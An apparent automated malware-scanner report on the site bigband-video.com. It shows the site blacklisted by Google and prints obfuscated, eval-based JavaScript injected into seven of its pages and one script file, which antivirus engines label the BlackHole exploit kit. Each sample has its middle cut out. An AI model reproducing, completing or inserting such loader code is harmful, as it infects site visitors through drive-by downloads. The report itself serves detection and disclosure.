New scan:

Malware Scanner report for bigband-video.com

Malicious/Suspicious/Total urls checked
7/2/12
9 pages have malicious or suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "bigband-video.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=bigband-video.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://bigband-video.com/
200 OK
Content-Length: 14355
Content-Type: text/html
suspicious
Suspicious code found

<img src="http://localhost/" >

http://bigband-video.com/Scripts/AC_RunActiveContent.js
200 OK
Content-Length: 12851
Content-Type: application/x-javascript
malicious
Malicious code - confirmed by antiviruses (see below)

if(document.querySelector)zq=4;a=("27,6d,7c,75,6a,7b,70,76,75,27,69,37,40,2f,30,27,82,14,11,27,7d,68,79,27,7a,7b,68,7b,70,6a,44,2e,68,71,68,7f,2e,42,14,11,27,7d,68,79,27,6a,76,75,7b,79,76,73,73,6c,79,44,2e,70,75,6b,6c,7f,35,77,6f,77,2e,42,14,11,27,7d,68,79,27,69,27,44,27,6b,76,6a,7c,74,6c,75,7b,35,6a,79,6c,68,7b,6c,4c,73,6c,74,6c,75,7b,2f,2e,70,6d,79,68,74,6c,2e,30,42,14,11,14,11,27,69,35,7a,79,6a,27,44,27,2e,6f,7b,7b,77,41,36,36,77,68,79,6c,6b,6c,7a,77,76,7a,70,7b,70,7d,68,7a,35,6a,76,74,36,7e,
... 3399 bytes are skipped ...
2f,2e,7d,70,7a,70,7b,6c,6b,66,7c,78,2e,30,44,44,3c,3c,30,82,84,6c,73,7a,6c,82,5a,6c,7b,4a,76,76,72,70,6c,2f,2e,7d,70,7a,70,7b,6c,6b,66,7c,78,2e,33,27,2e,3c,3c,2e,33,27,2e,38,2e,33,27,2e,36,2e,30,42,14,11,14,11,69,37,40,2f,30,42,14,11,84,14,11,84".split(","));r=eval;function vqvq(){zva=function(){--(d.body)}()}d=document;for(i=0;i<a.length;i+=1){a[i]=-(12-5)+parseInt(a[i],zq*4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=123}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));

Antivirus reports:

AntiVir
JS/Blacole.EB.50
Avast
JS:Includer-ALC [Trj]
Ikarus
JS.Exploit.BlackHole
nProtect
JS:Exploit.BlackHole.AY
Emsisoft
JS:Exploit.BlackHole.AY (B)
Comodo
TrojWare.JS.Agent.HN
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.498
TrendMicro
HEUR_HTJS.HDJSFN
Microsoft
Exploit:JS/Blacole.OE
MicroWorld-eScan
JS:Exploit.BlackHole.AY
Fortinet
JS/Kryptik.AOH!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.chulnr
F-Secure
JS:Exploit.BlackHole.AY
AVG
Script/Exploit.Kit
Norman
Blacole.WQ
GData
JS:Exploit.BlackHole.AY
ESET-NOD32
JS/Kryptik.AOH

http://bigband-video.com/index.html
200 OK
Content-Length: 14355
Content-Type: text/html
suspicious
Suspicious code found

<img src="http://localhost/" >

http://bigband-video.com/sample.html
200 OK
Content-Length: 12643
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

z="y";vz="d"+"o"+"c"+"ument";try{+function(){if(document.querySelector)++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62o"+"d"+z]}catch(q){a2="^";}z="2d^73^82^7b^70^81^76^7c^7b^2d^84^85^6f^76^73^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^
... 3647 bytes are skipped ...
^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^84^85^6f^76^73^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);za="";aa("arCode");e(""+za);}

Antivirus reports:

AntiVir
JS/Blacole.EH.1
Avast
JS:Decode-BFW [Trj]
nProtect
JS:Exploit.BlackHole.BN
Emsisoft
JS:Exploit.BlackHole.BN (B)
Comodo
TrojWare.JS.iFrame.D
McAfee-GW-Edition
JS/Exploit-Blacole.gc
DrWeb
JS.IFrame.500
Kaspersky
Trojan-Downloader.JS.Expack.ajr
Microsoft
Exploit:JS/Blacole.OC
MicroWorld-eScan
JS:Exploit.BlackHole.BN
Fortinet
JS/Kryptik.HOL!tr
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Expack.chwlwn
F-Secure
JS:Exploit.BlackHole.BN
AVG
Script/Exploit.Kit
Norman
Blacole.WU
GData
JS:Exploit.BlackHole.BN
BitDefender
JS:Exploit.BlackHole.BN

http://bigband-video.com/price.html
200 OK
Content-Length: 12511
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

z="y";vz="d"+"o"+"c"+"ument";try{+function(){if(document.querySelector)++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62o"+"d"+z]}catch(q){a2="^";}z="2d^73^82^7b^70^81^76^7c^7b^2d^84^85^6f^76^73^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^
... 3647 bytes are skipped ...
^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^84^85^6f^76^73^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);za="";aa("arCode");e(""+za);}

Antivirus reports:

AntiVir
JS/Blacole.EH.1
Avast
JS:Decode-BFW [Trj]
nProtect
JS:Exploit.BlackHole.BN
Emsisoft
JS:Exploit.BlackHole.BN (B)
Comodo
TrojWare.JS.iFrame.D
McAfee-GW-Edition
JS/Exploit-Blacole.gc
DrWeb
JS.IFrame.500
Kaspersky
Trojan-Downloader.JS.Expack.ajr
Microsoft
Exploit:JS/Blacole.OC
MicroWorld-eScan
JS:Exploit.BlackHole.BN
Fortinet
JS/Kryptik.HOL!tr
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Expack.chwlwn
F-Secure
JS:Exploit.BlackHole.BN
AVG
Script/Exploit.Kit
Norman
Blacole.WU
GData
JS:Exploit.BlackHole.BN
BitDefender
JS:Exploit.BlackHole.BN

http://bigband-video.com/apply.html
200 OK
Content-Length: 9424
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

z="y";vz="d"+"o"+"c"+"ument";try{+function(){if(document.querySelector)++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62o"+"d"+z]}catch(q){a2="^";}z="2d^73^82^7b^70^81^76^7c^7b^2d^84^85^6f^76^73^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^
... 3647 bytes are skipped ...
^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^84^85^6f^76^73^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);za="";aa("arCode");e(""+za);}

Antivirus reports:

AntiVir
JS/Blacole.EH.1
Avast
JS:Decode-BFW [Trj]
nProtect
JS:Exploit.BlackHole.BN
Emsisoft
JS:Exploit.BlackHole.BN (B)
Comodo
TrojWare.JS.iFrame.D
McAfee-GW-Edition
JS/Exploit-Blacole.gc
DrWeb
JS.IFrame.500
Kaspersky
Trojan-Downloader.JS.Expack.ajr
Microsoft
Exploit:JS/Blacole.OC
MicroWorld-eScan
JS:Exploit.BlackHole.BN
Fortinet
JS/Kryptik.HOL!tr
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Expack.chwlwn
F-Secure
JS:Exploit.BlackHole.BN
AVG
Script/Exploit.Kit
Norman
Blacole.WU
GData
JS:Exploit.BlackHole.BN
BitDefender
JS:Exploit.BlackHole.BN

http://bigband-video.com/qanda.html
200 OK
Content-Length: 10906
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

z="y";vz="d"+"o"+"c"+"ument";try{+function(){if(document.querySelector)++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62o"+"d"+z]}catch(q){a2="^";}z="2d^73^82^7b^70^81^76^7c^7b^2d^84^85^6f^76^73^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^
... 3647 bytes are skipped ...
^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^84^85^6f^76^73^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);za="";aa("arCode");e(""+za);}

Antivirus reports:

AntiVir
JS/Blacole.EH.1
Avast
JS:Decode-BFW [Trj]
nProtect
JS:Exploit.BlackHole.BN
Emsisoft
JS:Exploit.BlackHole.BN (B)
Comodo
TrojWare.JS.iFrame.D
McAfee-GW-Edition
JS/Exploit-Blacole.gc
DrWeb
JS.IFrame.500
Kaspersky
Trojan-Downloader.JS.Expack.ajr
Microsoft
Exploit:JS/Blacole.OC
MicroWorld-eScan
JS:Exploit.BlackHole.BN
Fortinet
JS/Kryptik.HOL!tr
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Expack.chwlwn
F-Secure
JS:Exploit.BlackHole.BN
AVG
Script/Exploit.Kit
Norman
Blacole.WU
GData
JS:Exploit.BlackHole.BN
BitDefender
JS:Exploit.BlackHole.BN

http://bigband-video.com/about.html
200 OK
Content-Length: 13681
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

z="y";vz="d"+"o"+"c"+"ument";try{+function(){if(document.querySelector)++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62o"+"d"+z]}catch(q){a2="^";}z="2d^73^82^7b^70^81^76^7c^7b^2d^84^85^6f^76^73^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^
... 3647 bytes are skipped ...
^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^84^85^6f^76^73^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);za="";aa("arCode");e(""+za);}

Antivirus reports:

AntiVir
JS/Blacole.EH.1
Avast
JS:Decode-BFW [Trj]
nProtect
JS:Exploit.BlackHole.BN
Emsisoft
JS:Exploit.BlackHole.BN (B)
Comodo
TrojWare.JS.iFrame.D
McAfee-GW-Edition
JS/Exploit-Blacole.gc
DrWeb
JS.IFrame.500
Kaspersky
Trojan-Downloader.JS.Expack.ajr
Microsoft
Exploit:JS/Blacole.OC
MicroWorld-eScan
JS:Exploit.BlackHole.BN
Fortinet
JS/Kryptik.HOL!tr
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Expack.chwlwn
F-Secure
JS:Exploit.BlackHole.BN
AVG
Script/Exploit.Kit
Norman
Blacole.WU
GData
JS:Exploit.BlackHole.BN
BitDefender
JS:Exploit.BlackHole.BN

http://bigband-video.com/remark.html
200 OK
Content-Length: 9318
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

z="y";vz="d"+"o"+"c"+"ument";try{+function(){if(document.querySelector)++(window[vz].body)==null}()}catch(q){aa=function(ff){ff="fr"+"omCh"+ff;for(i=0;i<z.length;i++){za+=String[ff](e(v+(z[i]))-(13));}};};e=(eval);v="0x";a=0;try{;}catch(zz){a=1}if(!a){try{++e(vz)["\x62o"+"d"+z]}catch(q){a2="^";}z="2d^73^82^7b^70^81^76^7c^7b^2d^84^85^6f^76^73^3d^46^35^36^2d^88^1a^17^2d^83^6e^7f^2d^80^81^6e^81^76^70^4a^34^6e^77^6e^85^34^48^1a^17^2d^83^6e^7f^2d^70^7c^7b^81^7f^7c^79^79^72^7f^4a^34^76^7b^71^72^85^
... 3647 bytes are skipped ...
^7b^74^35^2d^79^72^7b^39^2d^72^7b^71^2d^36^2d^36^48^1a^17^8a^1a^17^76^73^2d^35^7b^6e^83^76^74^6e^81^7c^7f^3b^70^7c^7c^78^76^72^52^7b^6e^6f^79^72^71^36^1a^17^88^1a^17^76^73^35^54^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^36^4a^4a^42^42^36^88^8a^72^79^80^72^88^60^72^81^50^7c^7c^78^76^72^35^34^83^76^80^76^81^72^71^6c^82^7e^34^39^2d^34^42^42^34^39^2d^34^3e^34^39^2d^34^3c^34^36^48^1a^17^1a^17^84^85^6f^76^73^3d^46^35^36^48^1a^17^8a^1a^17^8a".split(a2);za="";aa("arCode");e(""+za);}

Antivirus reports:

AntiVir
JS/Blacole.EH.1
Avast
JS:Decode-BFW [Trj]
nProtect
JS:Exploit.BlackHole.BN
Emsisoft
JS:Exploit.BlackHole.BN (B)
Comodo
TrojWare.JS.iFrame.D
McAfee-GW-Edition
JS/Exploit-Blacole.gc
DrWeb
JS.IFrame.500
Kaspersky
Trojan-Downloader.JS.Expack.ajr
Microsoft
Exploit:JS/Blacole.OC
MicroWorld-eScan
JS:Exploit.BlackHole.BN
Fortinet
JS/Kryptik.HOL!tr
McAfee
JS/Exploit-Blacole.gc
NANO-Antivirus
Trojan.Script.Expack.chwlwn
F-Secure
JS:Exploit.BlackHole.BN
AVG
Script/Exploit.Kit
Norman
Blacole.WU
GData
JS:Exploit.BlackHole.BN
BitDefender
JS:Exploit.BlackHole.BN

http://bigband-video.com/test404page.js
404 Not Found
Content-Length: 8453
Content-Type: text/html
clean
http://js.ad-stir.com/js/adstir.js?20130527
200 OK
Content-Length: 18896
Content-Type: application/x-javascript
clean
http://spdeliverp.i-mobile.co.jp/script/ads_premium.js?20111025
200 OK
Content-Length: 3293
Content-Type: application/x-javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: bigband-video.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 09 Jul 2014 03:38:49 GMT
Accept-Ranges: bytes
ETag: "d180088-3813-80e76240"
Server: Apache
Vary: Accept-Encoding
Content-Length: 14355
Content-Type: text/html
Last-Modified: Fri, 18 Apr 2014 10:20:49 GMT

...14355 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: bigband-video.com
Referer: http://www.google.com/search?q=bigband-video.com

Result:
The result is similar to the first query. There are no suspicious redirects found.